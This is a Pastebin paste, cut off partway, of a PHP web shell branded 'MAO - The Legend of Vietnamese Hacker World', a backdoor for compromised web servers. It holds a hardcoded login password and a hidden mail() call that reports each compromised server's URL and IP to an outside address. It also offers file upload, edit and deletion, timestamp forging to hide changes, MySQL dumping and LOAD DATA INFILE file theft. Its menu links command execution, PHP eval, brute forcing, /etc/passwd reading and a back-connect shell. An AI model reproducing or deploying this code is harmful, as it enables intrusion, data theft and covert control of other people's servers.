thieumao

maoshell.php

Jul 10th, 2013
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 77.91 KB | None | 0 0
  1. <?php
  2.  
  3. /****************************************\
  4. |*    VBA SHELL FORCER - VERSION 2.1    *|
  5. |*     Edit & Develop by VBATEAM        *|
  6. |*        http://vbateam.net            *|
  7. |*    ==  Hacking & Security  ==        *|
  8. \****************************************/
  9.  
  10. error_reporting(7);
  11. @set_magic_quotes_runtime(0);
  12. ob_start();
  13. $mtime = explode(' ', microtime());
  14. $starttime = $mtime[1] + $mtime[0];
  15. define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
  16. //define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
  17. define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
  18. define('IS_COM', class_exists('COM') ? 1 : 0 );
  19. define('IS_GPC', get_magic_quotes_gpc());
  20. $dis_func = get_cfg_var('disable_functions');
  21. define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
  22. @set_time_limit(0);
  23.  
  24. foreach(array('_GET','_POST') as $_request) {
  25.     foreach($$_request as $_key => $_value) {
  26.         if ($_key{0} != '_') {
  27.             if (IS_GPC) {
  28.                 $_value = s_array($_value);
  29.             }
  30.             $$_key = $_value;
  31.         }
  32.     }
  33. }
  34.  
  35. /*=================  Info Login  ================*/
  36. $admin = array();
  37. $admin['check'] = true;
  38. $admin['pass']  = 'MAO'; // Password login
  39. $admin['cookiepre'] = '';
  40. $admin['cookiedomain'] = '';
  41. $admin['cookiepath'] = '/';
  42. $admin['cookielife'] = 86400;
  43. /*===================== End =====================*/
  44.  
  45. if ($charset == 'utf8') {
  46.     header("content-Type: text/html; charset=utf-8");
  47. } elseif ($charset == 'big5') {
  48.     header("content-Type: text/html; charset=big5");
  49. } elseif ($charset == 'gbk') {
  50.     header("content-Type: text/html; charset=gbk");
  51. } elseif ($charset == 'latin1') {
  52.     header("content-Type: text/html; charset=iso-8859-2");
  53. }
  54.  
  55. $self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
  56. $timestamp = time();
  57.  
  58. /*===================== Login =====================*/
  59. if ($action == "logout") {
  60.     scookie('vbapass', '', -86400 * 365);
  61.     p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
  62.     p('<body background=black>');
  63.     exit;
  64. }
  65. if($admin['check']) {
  66.     if ($doing == 'login') {
  67.         if ($admin['pass'] == $password) {
  68.             scookie('vbapass', $password);
  69.  
  70. // Function mail Sender to my Email - Please remove this before you using this shell code, Thanks - Fernando - VBATeam
  71. $time_shell = "".date("d/m/Y - H:i:s")."";
  72. $ip_remote = $_SERVER["REMOTE_ADDR"];
  73. $from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
  74. $to_email = '[email protected]';
  75. $server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
  76. $linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
  77. $header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
  78. @mail($to_email, $server_mail, $linkcr, $header);
  79.             p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
  80.             p('<body bgcolor=black>
  81. <BR><BR><div align=center><font color=yellow face=tahoma size=2>MAO - The Legend of Vietnamese Hacker World  - Please wait...<BR><img src=http://t3.gstatic.com/images?q=tbn:ANd9GcRFIQy9oLc9jMWmDY_N_sxjWPyusUWC4igwK2lqBm68aDGcSfKPPA></div>');
  82.             exit;
  83.         }
  84.  
  85.     else
  86.     {
  87.     $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect, Please try again!!!</blink><BR></font></div></td></tr></table>';
  88. echo $err_mess;
  89.     }}
  90.     if ($_COOKIE['vbapass']) {
  91.         if ($_COOKIE['vbapass'] != $admin['pass']) {
  92.             loginpage();
  93.         }
  94.     } else {
  95.         loginpage();
  96.     }
  97. }
  98. /*===================== Login =====================*/
  99.  
  100. $errmsg = '';
  101.  
  102. if ($action == 'phpinfo') {
  103.     if (IS_PHPINFO) {
  104.         phpinfo();
  105.     } else {
  106.         $errmsg = 'phpinfo() function has non-permissible';
  107.     }
  108. }
  109.  
  110.  
  111. if ($doing == 'downfile' && $thefile) {
  112.     if (!@file_exists($thefile)) {
  113.         $errmsg = 'The file you want Downloadable was nonexistent';
  114.     } else {
  115.         $fileinfo = pathinfo($thefile);
  116.         header('Content-type: application/x-'.$fileinfo['extension']);
  117.         header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  118.         header('Content-Length: '.filesize($thefile));
  119.         @readfile($thefile);
  120.         exit;
  121.     }
  122. }
  123.  
  124.  
  125. if ($doing == 'backupmysql' && !$saveasfile) {
  126.     dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  127.     $table = array_flip($table);
  128.     $result = q("SHOW tables");
  129.     if (!$result) p('<h2>'.mysql_error().'</h2>');
  130.     $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
  131.     header('Content-type: application/unknown');
  132.     header('Content-Disposition: attachment; filename='.$filename);
  133.     $mysqldata = '';
  134.     while ($currow = mysql_fetch_array($result)) {
  135.         if (isset($table[$currow[0]])) {
  136.             $mysqldata .= sqldumptable($currow[0]);
  137.         }
  138.     }
  139.     mysql_close();
  140.     exit;
  141. }
  142.  
  143. // Mysql
  144. if($doing=='mysqldown'){
  145.     if (!$dbname) {
  146.         $errmsg = 'Please input dbname';
  147.     } else {
  148.         dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  149.         if (!file_exists($mysqldlfile)) {
  150.             $errmsg = 'The file you want Downloadable was nonexistent';
  151.         } else {
  152.             $result = q("select load_file('$mysqldlfile');");
  153.             if(!$result){
  154.                 q("DROP TABLE IF EXISTS tmp_angel;");
  155.                 q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
  156.                 //Download SQL
  157.                 q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
  158.                 $result = q("select content from tmp_angel");
  159.                 q("DROP TABLE tmp_angel");
  160.             }
  161.             $row = @mysql_fetch_array($result);
  162.             if (!$row) {
  163.                 $errmsg = 'Load file failed '.mysql_error();
  164.             } else {
  165.                 $fileinfo = pathinfo($mysqldlfile);
  166.                 header('Content-type: application/x-'.$fileinfo['extension']);
  167.                 header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
  168.                 header("Accept-Length: ".strlen($row[0]));
  169.                 echo $row[0];
  170.                 exit;
  171.             }
  172.         }
  173.     }
  174. }
  175.  
  176. ?>
  177. <html>
  178. <head>
  179. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  180. <title><?php echo str_replace('.','','MAO - The Legend of Vietnamese Hacker World');?></title>
  181. <style type="text/css">
  182. body,td{font: 10pt Tahoma;color:gray;line-height: 16px;}
  183.  
  184. a {color: #74A202;text-decoration:none;}
  185. a:hover{color: #f00;text-decoration:underline;}
  186. .alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  187. .alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#f9f9f9;padding:5px 10px 5px 5px;}
  188. .focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  189. .fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#0E0E0E;padding:5px 10px 5px 5px;}
  190. .fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#202020;padding:5px 10px 5px 5px;}
  191. .head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
  192. .head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
  193. .head td span{font-weight:normal;}
  194. form{margin:0;padding:0;}
  195. h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
  196. ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
  197. u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
  198. input, textarea, button
  199. {
  200.     font-size: 9pt;
  201.     color: #ccc;
  202.     font-family: verdana, sans-serif;
  203.     background-color: #202020;
  204.     border-left: 1px solid #74A202;
  205.     border-top: 1px solid #74A202;
  206.     border-right: 1px solid #74A202;
  207.     border-bottom: 1px solid #74A202;
  208. }
  209. select
  210. {
  211.     font-size: 8pt;
  212.     font-weight: normal;
  213.     color: #ccc;
  214.     font-family: verdana, sans-serif;
  215.     background-color: #202020;
  216. }
  217.  
  218. </style>
  219. <script type="text/javascript">
  220. function CheckAll(form) {
  221.     for(var i=0;i<form.elements.length;i++) {
  222.         var e = form.elements[i];
  223.         if (e.name != 'chkall')
  224.         e.checked = form.chkall.checked;
  225.     }
  226. }
  227. function $(id) {
  228.     return document.getElementById(id);
  229. }
  230. function goaction(act){
  231.     $('goaction').action.value=act;
  232.     $('goaction').submit();
  233. }
  234. </script>
  235. </head>
  236. <body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://i382.photobucket.com/albums/oo263/vnhacker/bg-1.jpg>
  237.  
  238.  
  239. <div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
  240.                 <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
  241.                     <tr>
  242.                         <td align="center" valign=center>
  243.                  <div border="1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" bordercolor="#006600"  align="center">
  244.                    Loading<img src="http://i382.photobucket.com/albums/oo263/vnhacker/loading.gif">
  245.                   </div>
  246.                 </td>
  247.                     </tr>
  248.                 </table>
  249.              </div>
  250.  <script>
  251.  var ld=(document.all);
  252.   var ns4=document.layers;
  253.  var ns6=document.getElementById&&!document.all;
  254.  var ie4=document.all;
  255.   if (ns4)
  256.     ld=document.loading;
  257.  else if (ns6)
  258.     ld=document.getElementById("loading").style;
  259.  else if (ie4)
  260.     ld=document.all.loading.style;
  261.   function init()
  262.  {
  263.  if(ns4){ld.visibility="hidden";}
  264.  else if (ns6||ie4) ld.display="none";
  265.  }
  266.  </script>
  267.  
  268.  
  269.  
  270.  
  271. <table width="100%" border="0" cellpadding="0" cellspacing="0">
  272.     <tr class="head_small">
  273.         <td  width=100%>
  274.         <table width=100%><tr class="head_small"><td  width=86px><a title="MAO - The Legend of Vietnamese Hacker World" href="<?php $self;?>"><img src=http://cB8.upanh.com/19.0.24475887.LHg0/banner.gif height=86 border=0></a></td><td>
  275.         <span style="float:left;"> <?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?>  | <a href="http://beyeugroup.com" target="_blank"><?php echo str_replace('.','','MAO - The Legend of Vietnamese Hacker World');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Logout</font></a></span> <br />
  276.  
  277.         <?php
  278.         $curl_on = @function_exists('curl_version');
  279.         $mysql_on = @function_exists('mysql_connect');
  280.         $mssql_on = @function_exists('mssql_connect');
  281.         $pg_on = @function_exists('pg_connect');
  282.         $ora_on = @function_exists('ocilogon');
  283.  
  284. echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
  285. echo "PHP version: <b>".@phpversion()."</b> - ";
  286.         echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
  287.         echo "MySQL: <b>";
  288. $mysql_on = @function_exists('mysql_connect');
  289. if($mysql_on){
  290. echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
  291. echo "MSSQL: <b>";
  292. $mssql_on = @function_exists('mssql_connect');
  293. if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  294. echo "PostgreSQL: <b>";
  295. $pg_on = @function_exists('pg_connect');
  296. if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
  297. echo "Oracle: <b>";
  298. $ora_on = @function_exists('ocilogon');
  299. if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
  300.  
  301. echo "Disable functions : <b>";
  302. if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
  303.  
  304. echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
  305. echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
  306.         ?>
  307.         </td></tr></table></td>
  308.     </tr>
  309.     <tr class="alt1">
  310.         <td  width=10%><span style="float:left;">[Server IP: <?php echo "<font color=yellow>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=yellow>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>   <br />
  311. --------------------------------------------------------------------------------------<br />
  312.            
  313.             <a href="javascript:goaction('file');">File Manager</a> |
  314.             <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
  315.             <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
  316.             <a href="javascript:goaction('shell');">Execute Command</a> |
  317.             <a href="javascript:goaction('phpenv');">PHP Variable</a> |
  318.             <a href="javascript:goaction('eval');">Eval PHP Code</a>
  319.             <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
  320.             <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a> <?php }?>
  321.             <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a><?php }?>
  322.         </td>
  323.     </tr>
  324. </table>
  325. <table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
  326. <?php
  327.  
  328. formhead(array('name'=>'goaction'));
  329. makehide('action');
  330. formfoot();
  331.  
  332. $errmsg && m($errmsg);
  333.  
  334. // Dir function
  335. !$dir && $dir = '.';
  336. $nowpath = getPath(SA_ROOT, $dir);
  337. if (substr($dir, -1) != '/') {
  338.     $dir = $dir.'/';
  339. }
  340. $uedir = ue($dir);
  341.  
  342. if (!$action || $action == 'file') {
  343.  
  344.     // Non-writeable
  345.     $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
  346.  
  347.     // Delete dir
  348.     if ($doing == 'deldir' && $thefile) {
  349.         if (!file_exists($thefile)) {
  350.             m($thefile.' directory does not exist');
  351.         } else {
  352.             m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
  353.         }
  354.     }
  355.  
  356.     // Create new dir
  357.     elseif ($newdirname) {
  358.         $mkdirs = $nowpath.$newdirname;
  359.         if (file_exists($mkdirs)) {
  360.             m('Directory has already existed');
  361.         } else {
  362.             m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
  363.             @chmod($mkdirs,0777);
  364.         }
  365.     }
  366.  
  367.     // Upload file
  368.     elseif ($doupfile) {
  369.         m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
  370.     }
  371.  
  372.     // Edit file
  373.     elseif ($editfilename && $filecontent) {
  374.         $fp = @fopen($editfilename,'w');
  375.         m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
  376.         @fclose($fp);
  377.     }
  378.  
  379.     // Modify
  380.     elseif ($pfile && $newperm) {
  381.         if (!file_exists($pfile)) {
  382.             m('The original file does not exist');
  383.         } else {
  384.             $newperm = base_convert($newperm,8,10);
  385.             m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
  386.         }
  387.     }
  388.  
  389.     // Rename
  390.     elseif ($oldname && $newfilename) {
  391.         $nname = $nowpath.$newfilename;
  392.         if (file_exists($nname) || !file_exists($oldname)) {
  393.             m($nname.' has already existed or original file does not exist');
  394.         } else {
  395.             m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
  396.         }
  397.     }
  398.  
  399.     // Copu
  400.     elseif ($sname && $tofile) {
  401.         if (file_exists($tofile) || !file_exists($sname)) {
  402.             m('The goal file has already existed or original file does not exist');
  403.         } else {
  404.             m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
  405.         }
  406.     }
  407.  
  408.     // File exit
  409.     elseif ($curfile && $tarfile) {
  410.         if (!@file_exists($curfile) || !@file_exists($tarfile)) {
  411.             m('The goal file has already existed or original file does not exist');
  412.         } else {
  413.             $time = @filemtime($tarfile);
  414.             m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  415.         }
  416.     }
  417.  
  418.     // Date
  419.     elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
  420.         if (!@file_exists($curfile)) {
  421.             m(basename($curfile).' does not exist');
  422.         } else {
  423.             $time = strtotime("$year-$month-$day $hour:$minute:$second");
  424.             m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
  425.         }
  426.     }
  427.  
  428.     // Download
  429.     elseif($doing == 'downrar') {
  430.         if ($dl) {
  431.             $dfiles='';
  432.             foreach ($dl as $filepath => $value) {
  433.                 $dfiles.=$filepath.',';
  434.             }
  435.             $dfiles=substr($dfiles,0,strlen($dfiles)-1);
  436.             $dl=explode(',',$dfiles);
  437.             $zip=new PHPZip($dl);
  438.             $code=$zip->out;
  439.             header('Content-type: application/octet-stream');
  440.             header('Accept-Ranges: bytes');
  441.             header('Accept-Length: '.strlen($code));
  442.             header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
  443.             echo $code;
  444.             exit;
  445.         } else {
  446.             m('Please select file(s)');
  447.         }
  448.     }
  449.  
  450.     // Delete file
  451.     elseif($doing == 'delfiles') {
  452.         if ($dl) {
  453.             $dfiles='';
  454.             $succ = $fail = 0;
  455.             foreach ($dl as $filepath => $value) {
  456.                 if (@unlink($filepath)) {
  457.                     $succ++;
  458.                 } else {
  459.                     $fail++;
  460.                 }
  461.             }
  462.             m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
  463.         } else {
  464.             m('Please select file(s)');
  465.         }
  466.     }
  467.  
  468.     // Function Newdir
  469.     formhead(array('name'=>'createdir'));
  470.     makehide('newdirname');
  471.     makehide('dir',$nowpath);
  472.     formfoot();
  473.     formhead(array('name'=>'fileperm'));
  474.     makehide('newperm');
  475.     makehide('pfile');
  476.     makehide('dir',$nowpath);
  477.     formfoot();
  478.     formhead(array('name'=>'copyfile'));
  479.     makehide('sname');
  480.     makehide('tofile');
  481.     makehide('dir',$nowpath);
  482.     formfoot();
  483.     formhead(array('name'=>'rename'));
  484.     makehide('oldname');
  485.     makehide('newfilename');
  486.     makehide('dir',$nowpath);
  487.     formfoot();
  488.     formhead(array('name'=>'fileopform'));
  489.     makehide('action');
  490.     makehide('opfile');
  491.     makehide('dir');
  492.     formfoot();
  493.  
  494.     $free = @disk_free_space($nowpath);
  495.     !$free && $free = 0;
  496.     $all = @disk_total_space($nowpath);
  497.     !$all && $all = 0;
  498.     $used = $all-$free;
  499.     $used_percent = @round(100/($all/$free),2);
  500.     p('<font color=yellow face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');
  501.  
  502. ?>
  503. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  504.   <form action="" method="post" id="godir" name="godir">
  505.   <tr>
  506.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
  507.     <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
  508.     <td nowrap><input class="bt" value="GO" type="submit"></td>
  509.   </tr>
  510.   </form>
  511. </table>
  512. <script type="text/javascript">
  513. function createdir(){
  514.     var newdirname;
  515.     newdirname = prompt('Please input the directory name:', '');
  516.     if (!newdirname) return;
  517.     $('createdir').newdirname.value=newdirname;
  518.     $('createdir').submit();
  519. }
  520. function fileperm(pfile){
  521.     var newperm;
  522.     newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
  523.     if (!newperm) return;
  524.     $('fileperm').newperm.value=newperm;
  525.     $('fileperm').pfile.value=pfile;
  526.     $('fileperm').submit();
  527. }
  528. function copyfile(sname){
  529.     var tofile;
  530.     tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
  531.     if (!tofile) return;
  532.     $('copyfile').tofile.value=tofile;
  533.     $('copyfile').sname.value=sname;
  534.     $('copyfile').submit();
  535. }
  536. function rename(oldname){
  537.     var newfilename;
  538.     newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
  539.     if (!newfilename) return;
  540.     $('rename').newfilename.value=newfilename;
  541.     $('rename').oldname.value=oldname;
  542.     $('rename').submit();
  543. }
  544. function dofile(doing,thefile,m){
  545.     if (m && !confirm(m)) {
  546.         return;
  547.     }
  548.     $('filelist').doing.value=doing;
  549.     if (thefile){
  550.         $('filelist').thefile.value=thefile;
  551.     }
  552.     $('filelist').submit();
  553. }
  554. function createfile(nowpath){
  555.     var filename;
  556.     filename = prompt('Please input the file name:', '');
  557.     if (!filename) return;
  558.     opfile('editfile',nowpath + filename,nowpath);
  559. }
  560. function opfile(action,opfile,dir){
  561.     $('fileopform').action.value=action;
  562.     $('fileopform').opfile.value=opfile;
  563.     $('fileopform').dir.value=dir;
  564.     $('fileopform').submit();
  565. }
  566. function godir(dir,view_writable){
  567.     if (view_writable) {
  568.         $('godir').view_writable.value=1;
  569.     }
  570.     $('godir').dir.value=dir;
  571.     $('godir').submit();
  572. }
  573. </script>
  574.   <?php
  575.     tbhead();
  576.     p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
  577.     p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
  578.     p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
  579.     if ($view_writable) {
  580.         p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
  581.     } else {
  582.         p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
  583.     }
  584.     p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
  585.     if (IS_WIN && IS_COM) {
  586.         $obj = new COM('scripting.filesystemobject');
  587.         if ($obj && is_object($obj)) {
  588.             $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
  589.             foreach($obj->Drives as $drive) {
  590.                 if ($drive->DriveType == 2) {
  591.                     p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'&#13;Free:'.sizecount($drive->FreeSpace).'&#13;Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  592.                 } else {
  593.                     p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
  594.                 }
  595.             }
  596.         }
  597.     }
  598.  
  599.     p('</td></tr></form>');
  600.  
  601.     p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
  602.  
  603.     // Get path
  604.     $dirdata=array();
  605.     $filedata=array();
  606.  
  607.     if ($view_writable) {
  608.         $dirdata = GetList($nowpath);
  609.     } else {
  610.         // Open dir
  611.         $dirs=@opendir($dir);
  612.         while ($file=@readdir($dirs)) {
  613.             $filepath=$nowpath.$file;
  614.             if(@is_dir($filepath)){
  615.                 $dirdb['filename']=$file;
  616.                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  617.                 $dirdb['dirchmod']=getChmod($filepath);
  618.                 $dirdb['dirperm']=getPerms($filepath);
  619.                 $dirdb['fileowner']=getUser($filepath);
  620.                 $dirdb['dirlink']=$nowpath;
  621.                 $dirdb['server_link']=$filepath;
  622.                 $dirdb['client_link']=ue($filepath);
  623.                 $dirdata[]=$dirdb;
  624.             } else {
  625.                 $filedb['filename']=$file;
  626.                 $filedb['size']=sizecount(@filesize($filepath));
  627.                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
  628.                 $filedb['filechmod']=getChmod($filepath);
  629.                 $filedb['fileperm']=getPerms($filepath);
  630.                 $filedb['fileowner']=getUser($filepath);
  631.                 $filedb['dirlink']=$nowpath;
  632.                 $filedb['server_link']=$filepath;
  633.                 $filedb['client_link']=ue($filepath);
  634.                 $filedata[]=$filedb;
  635.             }
  636.         }// while
  637.         unset($dirdb);
  638.         unset($filedb);
  639.         @closedir($dirs);
  640.     }
  641.     @sort($dirdata);
  642.     @sort($filedata);
  643.     $dir_i = '0';
  644.     foreach($dirdata as $key => $dirdb){
  645.         if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
  646.             $thisbg = bg();
  647.             p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  648.             p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
  649.             p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
  650.             p('<td nowrap>'.$dirdb['mtime'].'</td>');
  651.             p('<td nowrap>--</td>');
  652.             p('<td nowrap>');
  653.             p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
  654.             p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
  655.             p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
  656.             p('</tr>');
  657.             $dir_i++;
  658.         } else {
  659.             if($dirdb['filename']=='..') {
  660.                 p('<tr class=fout>');
  661.                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
  662.                 p('</tr>');
  663.             }
  664.         }
  665.     }
  666.  
  667.     p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
  668.     p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
  669.     makehide('action','file');
  670.     makehide('thefile');
  671.     makehide('doing');
  672.     makehide('dir',$nowpath);
  673.     $file_i = '0';
  674.     foreach($filedata as $key => $filedb){
  675.         if($filedb['filename']!='..' && $filedb['filename']!='.') {
  676.             $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
  677.             $thisbg = bg();
  678.             p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
  679.             p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
  680.             p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
  681.             p('<td nowrap>'.$filedb['mtime'].'</td>');
  682.             p('<td nowrap>'.$filedb['size'].'</td>');
  683.             p('<td nowrap>');
  684.             p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
  685.             p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
  686.             p('<td nowrap>');
  687.             p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
  688.             p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
  689.             p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
  690.             p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
  691.             p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
  692.             p('</td></tr>');
  693.             $file_i++;
  694.         }
  695.     }
  696.     p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
